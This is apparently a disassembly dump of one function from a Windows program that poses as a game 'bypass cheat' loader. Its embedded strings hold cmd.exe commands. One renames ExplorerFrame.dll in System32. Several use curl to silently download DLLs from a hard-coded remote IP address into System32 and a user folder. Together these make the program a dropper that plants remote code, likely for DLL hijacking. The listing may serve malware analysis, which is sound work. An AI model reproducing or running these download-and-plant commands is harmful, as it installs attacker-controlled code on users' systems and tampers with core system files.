Function at 0x140002390
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor esi, esi
lea rcx, str.F1:_Load_Bypass_Cheat_nF2:_Unload_Bypass_Cheat_n
call fcn.140001020
lea r14d, [rsi + 0x22]
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400029d3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.Loading..._n
call fcn.140001020
lea rdx, str.cmd.exe__C_cd_C:WindowsSystem32__ren_ExplorerFrame.dll_Old_ExplorerFrame.dll
lea rcx, [rbp + 0x2f]
call fcn.140003250
nop
call fcn.140001cf0
mov edi, eax
lea r8, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, r8
cmp rax, 1
jb 0x140002459
lea rdx, [r8 + 1]
mov qword [rcx + 0x10], rdx
mov rax, rcx
cmp r9, 7
jbe 0x14000244e
mov rax, qword [rcx]
mov word [rax + r8*2], r14w
mov word [rax + rdx*2], si
jmp 0x14000246f
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x1400024e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c69
call fcn.14000447c
mov rax, qword [rbp + 0x47]
cmp rax, 0x74
jb 0x140002525
lea rbx, [rbp + 0x2f]
cmp rax, 7
cmova rbx, qword [rbp + 0x2f]
mov qword [rbp + 0x3f], 0x74
mov r8d, 0xe8
lea rdx, str.cmd.exe__C_curl___silent___output_C:WindowsRzChromaSDK64.dll_http:__135.148.57.145:5565_download_win.dll__nul_2_1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0xe8], si
jmp 0x14000253a
lea r9, str.cmd.exe__C_curl___silent___output_C:WindowsRzChromaSDK64.dll_http:__135.148.57.145:5565_download_win.dll__nul_2_1
mov edx, 0x74
lea rcx, [rbp + 0x2f]
call fcn.1400040c0
lea r8, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x14000257e
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x140002572
mov rax, qword [rcx]
mov word [rax + rdx*2], r14w
mov word [rax + r8*2], si
jmp 0x140002594
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x14000260d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c70
call fcn.14000447c
mov rax, qword [rbp + 0x47]
cmp rax, 0x7f
jb 0x14000264a
lea rbx, [rbp + 0x2f]
cmp rax, 7
cmova rbx, qword [rbp + 0x2f]
mov qword [rbp + 0x3f], 0x7f
mov r8d, 0xfe
lea rdx, str.cmd.exe__C_curl___silent___output_C:WindowsSystem32RzChromaSDK64.dll_http:__135.148.57.145:5565_download_sys32.dll__nul_2_1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0xfe], si
jmp 0x14000265f
lea r9, str.cmd.exe__C_curl___silent___output_C:WindowsSystem32RzChromaSDK64.dll_http:__135.148.57.145:5565_download_sys32.dll__nul_2_1
mov edx, 0x7f
lea rcx, [rbp + 0x2f]
call fcn.1400040c0
lea r8, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x1400026a3
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x140002697
mov rax, qword [rcx]
mov word [rax + rdx*2], r14w
mov word [rax + r8*2], si
jmp 0x1400026b9
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140002732
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000272d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c77
call fcn.14000447c
mov rax, qword [rbp + 0x47]
cmp rax, 0x32
jb 0x14000276c
lea rbx, [rbp + 0x2f]
cmp rax, 7
cmova rbx, qword [rbp + 0x2f]
mov qword [rbp + 0x3f], 0x32
mov r8d, 0x64
lea rdx, str.cmd.exe__C_mkdir_C:Usersconspiracy_vxn__nul_2_1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0x64], si
jmp 0x140002781
lea r9, str.cmd.exe__C_mkdir_C:Usersconspiracy_vxn__nul_2_1
mov edx, 0x32
lea rcx, [rbp + 0x2f]
call fcn.1400040c0
lea r8, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x1400027c5
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x1400027b9
mov rax, qword [rcx]
mov word [rax + rdx*2], r14w
mov word [rax + r8*2], si
jmp 0x1400027db
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140002854
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000284f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c7e
call fcn.14000447c
mov rax, qword [rbp + 0x47]
cmp rax, 0x80
jb 0x140002893
lea rbx, [rbp + 0x2f]
cmp rax, 7
cmova rbx, qword [rbp + 0x2f]
mov qword [rbp + 0x3f], 0x80
mov r8d, 0x100
lea rdx, str.cmd.exe__C_curl___silent___output_C:Usersconspiracy_vxnI_Love_Cum.dll_http:__135.148.57.145:5565_download_cheat.dll__nul_2_1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0x100], si
jmp 0x1400028a8
lea r9, str.cmd.exe__C_curl___silent___output_C:Usersconspiracy_vxnI_Love_Cum.dll_http:__135.148.57.145:5565_download_cheat.dll__nul_2_1
mov edx, 0x80
lea rcx, [rbp + 0x2f]
call fcn.1400040c0
lea r8, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x1400028ec
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x1400028e0
mov rax, qword [rcx]
mov word [rax + rdx*2], r14w
mov word [rax + r8*2], si
jmp 0x140002902
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x14000297b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002976
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c85
call fcn.14000447c
lea rcx, str.Loaded__Please_do_NOT_turn_off_ur_pc_before_u_unload__n
call fcn.140001020
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x1400029d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c8c
call fcn.14000447c
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400023d1
lea rcx, str.Unloading..._n
call fcn.140001020
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
nop
nop
nop
nop
nop
nop
nop
lea rcx, [rbp + 0x2f]
call fcn.140003250
nop
call fcn.140001cf0
mov edi, eax
lea r8, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, r8
cmp rax, 1
jb 0x140002a5b
lea rdx, [r8 + 1]
mov qword [rcx + 0x10], rdx
mov rax, rcx
cmp r9, 7
jbe 0x140002a50
mov rax, qword [rcx]
mov word [rax + r8*2], r14w
mov word [rax + rdx*2], si
jmp 0x140002a71
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140002aea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c93
call fcn.14000447c
mov rax, qword [rbp + 0x47]
cmp rax, 0x2e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea rcx, [rbp + 0xf]
call fcn.140003b10
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x140002b7d
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x140002b71
mov rax, qword [rcx]
mov word [rax + rdx*2], r14w
mov word [rax + r8*2], si
jmp 0x140002b93
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004230
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
lea rdx, [rbp - 0x19]
mov ecx, edi
call fcn.140001ff0
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140002c0c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c9a
call fcn.14000447c
lea rcx, str.Unloaded__n
call fcn.140001020
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x1400023d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ca1
call fcn.14000447c
jmp 0x1400023d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3